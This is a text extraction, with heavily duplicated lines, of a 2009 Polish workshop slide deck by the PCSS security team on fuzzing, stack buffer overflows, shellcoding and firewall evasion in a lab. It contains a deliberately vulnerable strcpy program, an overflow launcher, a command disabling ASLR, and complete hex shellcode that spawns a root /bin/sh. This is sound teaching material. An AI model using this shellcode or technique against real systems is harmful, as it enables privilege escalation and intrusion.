Download - Omijanie Firewall
![Page 1: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/1.jpg)
Omijanie firewalli w systemach WindowsOmijanie firewalli w systemach Windows
------ warsztaty warsztaty ------
1
PoznaPoznańń, , 18.18.0606.2009.2009
Mateusz DrygasMateusz Drygas, , Marcin JerzakMarcin Jerzak,,
Jakub TomaszewskiJakub Tomaszewski,,
ZespZespółół BezpieczeBezpieczeńństwa PCSSstwa PCSS
![Page 2: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/2.jpg)
AgendaAgenda
10:00 10:00 –– Rozpoczęcie, powitanie uczestników, informacje organizacyjneRozpoczęcie, powitanie uczestników, informacje organizacyjne10:00 10:00 –– Rozpoczęcie, powitanie uczestników, informacje organizacyjneRozpoczęcie, powitanie uczestników, informacje organizacyjne
10:05 10:05 –– Poznajmy się: czym jest PCSS , Zespół Bezpieczeństwa PCSS i MIC?Poznajmy się: czym jest PCSS , Zespół Bezpieczeństwa PCSS i MIC?
10:05 10:05 –– Trochę informacji technicznychTrochę informacji technicznych
10:15 10:15 –– Łamanie zabezpieczeń w praktyceŁamanie zabezpieczeń w praktyce
11:30 11:30 –– PrzerwaPrzerwa
11:45 11:45 –– Lokalnie i zdalnie...Lokalnie i zdalnie...11:45 11:45 –– Lokalnie i zdalnie...Lokalnie i zdalnie...
12:00 12:00 –– Firewalle Firewalle -- ćwiczenia w formie scenariuszaćwiczenia w formie scenariusza
13:30 13:30 –– Na zakończenie Na zakończenie –– garść przydatnej wiedzy igarść przydatnej wiedzy i dyskusjadyskusja
2
![Page 3: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/3.jpg)
Informacje organizacyjneInformacje organizacyjne
AnkietaAnkietaAnkietaAnkieta
Krótka i anonimowaKrótka i anonimowa
Pomoc na przyszłośćPomoc na przyszłość
Lista obecnościLista obecności
Proszę zaznaczyć, czy chcecie Państwo otrzymywać Proszę zaznaczyć, czy chcecie Państwo otrzymywać informacje o kolejnych szkoleniachinformacje o kolejnych szkoleniach
Prezentacja Prezentacja –– dostępna na stronach WWWdostępna na stronach WWWPrezentacja Prezentacja –– dostępna na stronach WWWdostępna na stronach WWW
http://mic.psnc.pl http://mic.psnc.pl
http://szkolenia.man.poznan.plhttp://szkolenia.man.poznan.pl
http://security.psnc.plhttp://security.psnc.pl
3
![Page 4: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/4.jpg)
Kim jesteśmy i co robimy?Kim jesteśmy i co robimy?
4
![Page 5: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/5.jpg)
PCSSPCSSPoznańskie Centrum Poznańskie Centrum SuperkomputerowoSuperkomputerowo--Sieciowe: Sieciowe: SuperkomputerowoSuperkomputerowo--Sieciowe: Sieciowe: 15 lat 15 lat w październiku 2008w październiku 2008
Operator sieci PIONIER (sieć Operator sieci PIONIER (sieć dla edukacji i nauki) oraz dla edukacji i nauki) oraz POZMANPOZMAN
Uczestnik projektów naukowoUczestnik projektów naukowo--badawczychbadawczych
Główne obszary Główne obszary zainteresowańzainteresowańzainteresowańzainteresowań
GridyGridy, sieci nowej , sieci nowej generacji, portalegeneracji, portale
Bezpieczeństwo sieci i Bezpieczeństwo sieci i systemówsystemów
http://www.pcss.plhttp://www.pcss.pl5
![Page 6: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/6.jpg)
Zespół Bezpieczeństwa PCSSZespół Bezpieczeństwa PCSSDedykowany zespół istnieje od 1996r.Dedykowany zespół istnieje od 1996r.
Podstawowy zakres prac ZespołuPodstawowy zakres prac Zespołu
Zabezpieczanie infrastruktury PCSSZabezpieczanie infrastruktury PCSS
Zadania bezpieczeństwa w projektach naukowo Zadania bezpieczeństwa w projektach naukowo –– badawczychbadawczych
Szkolenia i transfer wiedzySzkolenia i transfer wiedzy
Badania własneBadania własne
Audyty i doradztwo w zakresie bezpieczeństwa ITAudyty i doradztwo w zakresie bezpieczeństwa IT
6
Niektóre badania z ostatnich latNiektóre badania z ostatnich lat
Raport o bezpieczeństwie bankowości elektronicznej (Raport o bezpieczeństwie bankowości elektronicznej (20062006))
Bezpieczeństwo serwerów WWW Apache i MS IIS (Bezpieczeństwo serwerów WWW Apache i MS IIS (20072007))
Bezpieczeństwo sklepów internetowych (Bezpieczeństwo sklepów internetowych (20082008))
http://security.psnc.plhttp://security.psnc.pl
![Page 7: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/7.jpg)
Centrum Innowacji MicrosoftCentrum Innowacji Microsoft
Pierwsze w Polsce MICPierwsze w Polsce MIC
PartnerzyPartnerzyMicrosoft CorporationMicrosoft Corporation
Poznańskie Centrum Poznańskie Centrum SuperkomputerowoSuperkomputerowo--SiecioweSieciowe
Pierwsze w Polsce MICPierwsze w Polsce MICCentrum Bezpieczeństwa i Centrum Bezpieczeństwa i usług outsourcingowychusług outsourcingowych
7
SuperkomputerowoSuperkomputerowo--SiecioweSieciowe
Politechnika PoznańskaPolitechnika Poznańska
Otwarcie: Otwarcie: 1.06.2006r.1.06.2006r.http://mic.psnc.plhttp://mic.psnc.pl
![Page 8: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/8.jpg)
Wybrane zadania MIC w 2009Wybrane zadania MIC w 2009
Nowe obszary badań (od I 2009):Nowe obszary badań (od I 2009):Nowe obszary badań (od I 2009):Nowe obszary badań (od I 2009):
InteroperacyjnośćInteroperacyjność systemów i technologiisystemów i technologii
Wirtualizacja systemówWirtualizacja systemów
Wysokowydajne przetwarzanie komputerowe (HPC) Wysokowydajne przetwarzanie komputerowe (HPC) ––m.in. udział w programie HPC TAPm.in. udział w programie HPC TAP
Doroczna Konferencja MIC Doroczna Konferencja MIC -- 1616 kwietniakwietnia 2009,2009, 3.3. edycjaedycja
8
Doroczna Konferencja MIC Doroczna Konferencja MIC -- 1616 kwietniakwietnia 2009,2009, 3.3. edycjaedycja
![Page 9: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/9.jpg)
Szkolenia MIC Szkolenia MIC –– I półrocze 2009I półrocze 2009
InteroperacyjnośćInteroperacyjnośćInteroperacyjnośćInteroperacyjność
27.05: Zastosowanie technologii 27.05: Zastosowanie technologii SilverlightSilverlight......
10.06: Windows Server 2008 jako uniwersalna platforma zapewniająca 10.06: Windows Server 2008 jako uniwersalna platforma zapewniająca usługi wirtualizacji i usługi wirtualizacji i klastrowaniaklastrowania
23.06: Bezpieczeństwo heterogenicznej platformy 23.06: Bezpieczeństwo heterogenicznej platformy hostingowejhostingowej (są (są jeszcze ostatnie wolne miejsca)jeszcze ostatnie wolne miejsca)
BezpieczeństwoBezpieczeństwo
9
BezpieczeństwoBezpieczeństwo
18.06: Omijanie firewalli w systemach Windows 18.06: Omijanie firewalli w systemach Windows –– warsztaty BYOL dla warsztaty BYOL dla specjalistów bezpieczeństwaspecjalistów bezpieczeństwa
![Page 10: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/10.jpg)
Szkolenia MIC Szkolenia MIC –– II półrocze 2009II półrocze 2009
InteroperacyjnośćInteroperacyjnośćInteroperacyjnośćInteroperacyjność
Windows HPC ServerWindows HPC Server
Exchange Exchange LabsLabs jako uniwersalna platforma ejako uniwersalna platforma e--mailmail
BezpieczeństwoBezpieczeństwo
Bezpieczeństwo aplikacji ASP.NET MVCBezpieczeństwo aplikacji ASP.NET MVC
Bezpieczeństwo kontrolera domenyBezpieczeństwo kontrolera domeny
Szkolenia w Warszawie: IX/X 2009 (powtórzenie Szkolenia w Warszawie: IX/X 2009 (powtórzenie
10
Szkolenia w Warszawie: IX/X 2009 (powtórzenie Szkolenia w Warszawie: IX/X 2009 (powtórzenie cyklu „cyklu „InteroperacyjnośćInteroperacyjność”)”)
Zachęcamy do zgłaszania Zachęcamy do zgłaszania w ankietachw ankietach propozycji propozycji tematów na kolejne spotkania!tematów na kolejne spotkania!
![Page 11: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/11.jpg)
Informacje techniczne (Informacje techniczne (11))
SystemSystem
Linux Live + changes
User: root / Passwd: toor
Wifi Wifi -- „„pcss-warsztaty”
wpa_passphrase pcss-warsztaty warsztaty-firewalle > wpa.conf
wpa_supplicant -i<interface wifi> -cwpa.confwpa_supplicant -i<interface wifi> -cwpa.conf
11
![Page 12: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/12.jpg)
Informacje techniczne (2)Informacje techniczne (2)
AdresacjaAdresacja
Brama → 192.168.1.1
DNS → 192.168.1.1
Serwer do ćwiczeń → 192.168.1.7
Adres kliencki: 192.168.1.1XX
ifconfig <interface wifi> 192.168.1.1XX netmask 255.255.255.0ifconfig <interface wifi> 192.168.1.1XX netmask 255.255.255.0
ip route add default via 192.168.1.1
12
![Page 13: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/13.jpg)
Architektura środowiskaArchitektura środowiska
System Centralny
...XP_V1 XP_V2 XP_V3 XP_Vn
WifiWifi
13
...L1 L2 L3 Ln
WifiWifi
![Page 14: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/14.jpg)
Łamanie zabezpieczeń wŁamanie zabezpieczeń w praktycepraktyce
Wyszukiwanie podatności
Eksploitacja błędów
Shellcoding
![Page 15: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/15.jpg)
Wyszukiwanie podatnościWyszukiwanie podatności
15
![Page 16: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/16.jpg)
Ręczne wyszukiwanie błędów
Wartości niezgodne ze specyfikacją
poza zakresem
inne dane niż oczekiwane (float/string)
znaki specjalne
losowelosowe
![Page 17: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/17.jpg)
Automatyczne szukanie lukFuzzer
Stosunkowo łatwo napisać prosty fuzzer
Fuzzing – bardziej złożony
rozbudowane dane wejściowe (np. jpeg)
obsługa debuggeraobsługa debuggera
analiza wyników i dostosowywanie testowanych danych
![Page 18: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/18.jpg)
Rodzaje fuzzerów
Mutacyjne
Generacyjne
EwolucyjneEwolucyjne
![Page 19: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/19.jpg)
Wady fuzzingu
Nie znajduje błędów logicznych
Nieokreślony czas znalezienia podatności
Wraz ze wzrostem skomplikowania programu postępuje wzrost złożoności fuzzer'aWraz ze wzrostem skomplikowania programu postępuje wzrost złożoności fuzzer'a
![Page 20: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/20.jpg)
Jak napisać prosty „fuzzer” (1)Analiza programu:Analiza programu:
na jakich danych operuje?
skąd je bierze?
Modyfikacja danych wejściowych
różne znaki w parametrach
różne długości parametrów
modyfikacja przetwarzanych plikówmodyfikacja przetwarzanych plików
modyfikacje paczek sieciowych
Najlepsze wyniki osiągamy, gdy mamy dostęp do maszyny, na której znajduje się testowana aplikacja…
… i jeżeli testujemy program w debugerze (OlyDBG, gdb), którypomoże w analizie błędu
![Page 21: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/21.jpg)
Jak napisać prosty „fuzzer” (2)Po ustaleniu, co można „zaatakować”, czasem wystarczy... Po ustaleniu, co można „zaatakować”, czasem wystarczy... krótki skrypt w bash'u:
#!/bin/bash#very simple fuzzx=1C='i'licz=1while [ $x -le 10 ]; do
a=`./hello $C`wyn=$?if [ $ wyn = 139 ]wyn=$?if [ $ wyn = 139 ]
thenecho "SEGV dla ilosci:"$liczexit
fiC=$C'i'licz=$((licz+1))
done
![Page 22: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/22.jpg)
Przykładowe znane fuzzery - Linux
clfuzz.py – napisany w Pythonie fuzzer oparty o linię komend. Bardzo clfuzz.py – napisany w Pythonie fuzzer oparty o linię komend. Bardzo przydatny do testowania binariów setuid na błędy przepełnienia w linii komend
zzuf – działa w oparciu o mechanizm przechwytywania przerwań operacji plikowych i podmiany losowych bitów
SPIKE – to napisany w C kod, który jest bazą do tworzenia fuzzerów. Prawdopodobnie najszerzej wykorzystywany framework tego typuPrawdopodobnie najszerzej wykorzystywany framework tego typu
Peach – SmartFuzzer zdolny wykorzystywać zalety fuzzerów generacyjnych i mutacyjnych
![Page 23: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/23.jpg)
Przykładowe znane fuzzery - Windows
AxMan – webowy fuzzer oparty o mechanizmy ActiveX, napisany przez H.D. Moore’a.
Peach – SmartFuzzer, zdolny wykorzystywać zalety fuzzerów generacyjnych I mutacyjnychgeneracyjnych I mutacyjnych
![Page 24: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/24.jpg)
Bardziej złożone fuzzery
W Pythonie dla Linux'a:
http://192.168.1.7/fuzzing/fuzz.py
W C++ dla Windowsa:
http://192.168.1.7/fuzzing/fuzz_c.cpphttp://192.168.1.7/fuzzing/fuzz_c.cpp
![Page 25: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/25.jpg)
Ciekawostka
Mozilla udostępnila w 2007r JSfuzzer, którym testowała Firefoksa. Dzięki temu znaleziono za jego pomocą 280 błędów, z czego 27
można było wyeksploitować
http://www.cgisecurity.com/2007/08/mozilla-releases-javascript-fuzzer-at-blackhat-.html fuzzer-at-blackhat-.html
![Page 26: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/26.jpg)
ExploitationExploitation
0x414141410x41414141
26
![Page 27: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/27.jpg)
Pierwszy kod#include <unistd.h>#include <unistd.h>
char arg[] =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int main(int argc, char **argv)int main(int argc, char **argv)
{
execl("./crackme", "./crackme", arg, NULL);
return 0;
}
![Page 28: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/28.jpg)
Stos
Last In First Out
„Rośnie w dół”
Wątki posiadają odrębne stosy
Operacje PUSH i POP
![Page 29: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/29.jpg)
Rejestry i adresy
ESP – wskaźnik szczytu stosu,
EIP – wskaźnik instrukcji,
EBP – rejestr bazowy,
EBP + 4 = RETEBP + 4 = RET
RET – adres powrotu,
![Page 30: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/30.jpg)
0x41414141(gdb) f 3#3 0x41414141 in ?? ()#3 0x41414141 in ?? ()(gdb) i regeax 0x0 0ecx 0xffffffff -1edx 0x280e8c4c 672042060ebx 0x3 3esp 0xbfbfec48 0xbfbfec48ebp 0x42424242 0x42424242 esi 0xbfbff7ac -1077938260edi 0xbfbff7bc -1077938244edi 0xbfbff7bc -1077938244eip 0x41414141 0x41414141 eflags 0x286 646cs 0x1f 31ss 0x2f 47ds 0x2f 47es 0x2f 47fs 0x2f 47gs 0x2f 47
![Page 31: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/31.jpg)
Rejestry
General Purpose
EAX, EBX, ECX
Segment Pointers
CS, DS
ControlControl
EIP
![Page 32: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/32.jpg)
RET - adres powrotu
Gdzie jest nasz shellcode?
export shellcode $(perl -e 'print “A”x100)
Gdzie jest stos?
echo 0 > /proc/sys/kernel/randomize_va_space
Jak trafić?
x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xx90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90
![Page 33: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/33.jpg)
Podatny kod#include <stdlib.h>
#include <stdio.h>#include <stdio.h>
#include <string.h>
int bof(char *string)
{
char buffer[1024];
strcpy(buffer, string);
return 1;
}}
int main(int argc, char *argv[])
{
bof(argv[1]);
return 1;
}
![Page 34: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/34.jpg)
Ochrona pamięci
Stack cookies
Address Space Layout Randomization
SafeSEH
Heap Protection
Data Execution PreventionData Execution Prevention
![Page 35: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/35.jpg)
Separacja w Windows
User mode – ring 3
Kernel mode – ring 0
![Page 36: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/36.jpg)
Stałe błędy programistyczne (1)
Stack Overflow
np. nadpisujemy adres powrotu adresem, który znajduje się w ring 3
![Page 37: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/37.jpg)
Stałe błędy programistyczne (2)
Niedostateczna walidacja adresów pochodzących z user-mode
np. nadpisujemy wskaźnik do danej funkcji ring 0 adresemwskazującym na ring 3
![Page 38: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/38.jpg)
Stałe błędy programistyczne (3)
Non-executable stack DEP
Return to libc – przekierowanie sterowania do funkcji, a na stosie znajdują się parametry
system() - uruchamia proces
![Page 39: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/39.jpg)
ShellcodingShellcoding
39
![Page 40: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/40.jpg)
Definicja
kod maszynowy możliwy do wykonania bezpośrednio przez kod maszynowy możliwy do wykonania bezpośrednio przez procesor, wykonujący zawsze DOKŁADNIE to, co chcemy
brak statycznych odwołań
Pomijamy, jeśli tylko się da, znak -> NULL
xor X Xxor X X
http://192.168.1.7/shellcoding/
![Page 41: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/41.jpg)
Narzędzia
gcc - kompilator, � gcc - kompilator,
� as - assembler,
� ld - linker,
� gdb - debuger,
� objdump (-x, -d, -D) –> disassembler+� objdump (-x, -d, -D) –> disassembler+
� strace
� vi i inne
![Page 42: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/42.jpg)
Wrapper kodu assemblera (test.c)
char shellcode[] = ""; //nasz shellcode w tablicy globalnejchar shellcode[] = ""; //nasz shellcode w tablicy globalnej
int main (int argc, char **argv)
{
int (*ret)(); //wskaznik funkcji
ret = (int(*)())shellcode; //wskazujemy nasz shellcode
(int)(*ret)(); //wywolanie jak funkcji
return 0;
}
![Page 43: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/43.jpg)
Budowanie shellcode'u krok po kroku
1. Co ma robić shellcode?1. Co ma robić shellcode?
2. Definicja funkcji przez niego używanych,
3. Wywołania systemowe potrzebnych funkcji,
4. Budowa kodu assemblera,
5. Kompilacja do „binarki”,
6. Deassemblacja,
7. Budowanie shellcodu,
8. Test.
![Page 44: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/44.jpg)
Przyklad (1) – exit(0)Funkcja exit()Funkcja exit()
Definicja -> man 2 exit
http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit
void _exit(int status);
![Page 45: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/45.jpg)
Przyklad (1) – exit(0)syscallsyscall
grep __NR_exit /usr/include/asm/unistd_32.h
#define __NR_exit 1
grep __NR_exit /usr/include/asm/unistd.h
grep __NR_exit /usr/include/asm/unistd_64.h
![Page 46: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/46.jpg)
Przyklad (1) – exit(0)As exit.s -o exit.o
ld exit.o -o exit
./exit
echo $?
objdump -d exit
shellcode:
“\x31\xc0\xb0\x01\x31\xdb\xcd\x80”
kilka testów (test_exit.c)
![Page 47: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/47.jpg)
Przyklad (2) – “Hello World”Funkcje exit() i write()Funkcje exit() i write()
Definicja -> man 2 exit
http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit
void _exit(int status);
Definicja -> man 2 write
http://www.cl.cam.ac.uk/cgi-bin/manpage?2+write
ssize_t write(int fd, const void *buf, size_t count);
![Page 48: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/48.jpg)
Przyklad (2) – “Hello World”
syscall
grep __NR_exit /usr/include/asm/unistd_32.h
#define __NR_exit 1
grep __NR_write /usr/include/asm/unistd_32.h
#define __NR_write 4
![Page 49: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/49.jpg)
Przyklad (2) – “Hello World”
Własności i ich konsekwencje – brak NULL i statycznych odwołańWłasności i ich konsekwencje – brak NULL i statycznych odwołań
call
call wrzuca następującą po niej wartość (standardowo – adrespowrotu) na stos i przenosi kontrolę do miejsca, ktore jest jej powrotu) na stos i przenosi kontrolę do miejsca, ktore jest jej
parametrem.
![Page 50: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/50.jpg)
Przyklad (2) – “Hello World”as hello.s -o hello.o | ld hello.o -o hello as hello.s -o hello.o | ld hello.o -o hello
./hello | objdump -d hello
shellcode:
"\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04"\
"\xb2\x0e\x59\xb3\x01\xcd\x80\x31\xc0\xb0\x01\x31"\
"\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c"\
"\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a"
test (test_hello.c)
![Page 51: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/51.jpg)
Przyklad (2) – “Hello World”Uwaga:Uwaga:
H e l l o , W o r l d ! \n
48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a
czyli:czyli:
“\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a”
![Page 52: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/52.jpg)
Przyklad (3) – /bin/sh + rootFunkcje setreuid() i execve()Funkcje setreuid() i execve()
Definicja -> man 2 setreuid
http://www.cl.cam.ac.uk/cgi-bin/manpage?2+setreuid
int setreuid(uid_t ruid, uid_t euid);
Definicja -> man 2 execve
http://www.cl.cam.ac.uk/cgi-bin/manpage?2+execve
int execve(const char *filename, char *const argv[], char *const envp[]);
![Page 53: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/53.jpg)
Przyklad (3) – /bin/sh + root
syscall
grep __NR_setreuid /usr/include/asm/unistd_32.h
#define __NR_setreuid 70
grep __NR_execve /usr/include/asm/unistd_32.h
#define __NR_execve 11
![Page 54: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/54.jpg)
Przyklad (3) – /bin/sh + rootexecve("/bin/sh", *"/bin/sh", (char **)NULL);
execve("/bin/sh", - ciąg do wywołania (bez NULLi!)
*"/bin/sh", - adres tego ciągu
(char **)NULL) - NULL-owy wskaźnik do przyległej pamięci (parametry wywołania /bin/sh)
ciąg w pamięci wygląda tak: /bin/shNXXXXYYYYciąg w pamięci wygląda tak: /bin/shNXXXXYYYY
gdzie N ma wartość dokładnie \0 (koniec ciągu), czyli dla nas zakazaną – nie możemy mu nadać wartości NULL, ale możemy go XOR-ować
XXXX (4 bajty) to adres adresu naszego ciągu
YYYY (4 bajty) to adres wskaźnika envp[] (aktualnie call *NULL)
![Page 55: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/55.jpg)
Przyklad (3) – /bin/sh + rootAs shell.s -o shell.o As shell.s -o shell.o
ld shell.o -o shell
./shell
(?)
shellcode:
(?)
![Page 56: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/56.jpg)
Przyklad (3) – /bin/sh + root
Segmentation fault !!!
Dlaczego??Dlaczego??
![Page 57: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/57.jpg)
Przyklad (3) – /bin/sh + root
as -g shell.s -o shell.o
(przydaje się, ale nie jest konieczne)
ld shell.o -o shell
objdump -x shell
.text ma atrybut readonly :/
ale .data :D
![Page 58: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/58.jpg)
Przyklad (3) – /bin/sh + rootas shell_new.s -o shell_new.o as shell_new.s -o shell_new.o
ld shell_new.o -o shell_new
./shell_new | objdump -d shell_new
"\x31\xc0\xb0\x46\x31\xc9\x31\xdb\xcd\x80\xeb\x18\x5b"\
"\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x31\xc0"\
"\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff"\
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
test (test_shell_new.c)
![Page 59: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/59.jpg)
Co dalej?
minimalizacja długości
shellcody bez konkretnych znaków
shellcody tylko ze znaków drukowalnychshellcody tylko ze znaków drukowalnych
![Page 60: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/60.jpg)
PrzerwaPrzerwa
60
![Page 61: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/61.jpg)
Lokalnie i zdalnie...Lokalnie i zdalnie...
![Page 62: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/62.jpg)
Szukanie błędów
Większy problem ze zdefiniowaniem faktu błędu
Niejednoznacze odpowiedzi od serwera
Utrudnione debugowanie Utrudnione debugowanie
![Page 63: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/63.jpg)
Exploitowanie
Znaczące problemy z uzyskaniem danych o procesach (rejestrach) oraz stanie usługi
Brak znajomości środowiska docelowego
![Page 64: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/64.jpg)
Shellcoding
Wymagana jest dokładna znajomość systemu zdalnego
Przy założeniu dokładnie tych samych funkcjonalności shellcodu –złożoność problemu jest w przybliżeniu identyczna
![Page 65: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/65.jpg)
Firewalle Firewalle -- ćwiczenia wćwiczenia w formie formie
scenariuszascenariusza
![Page 66: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/66.jpg)
Wprowadzenie
Wiedza początkowa agresora:
Cel znajduje się pod adresem 192.168.1.7,
Cel wykorzystuje system Windows,
Cel jest chroniony przez co najmniej jeden firewall
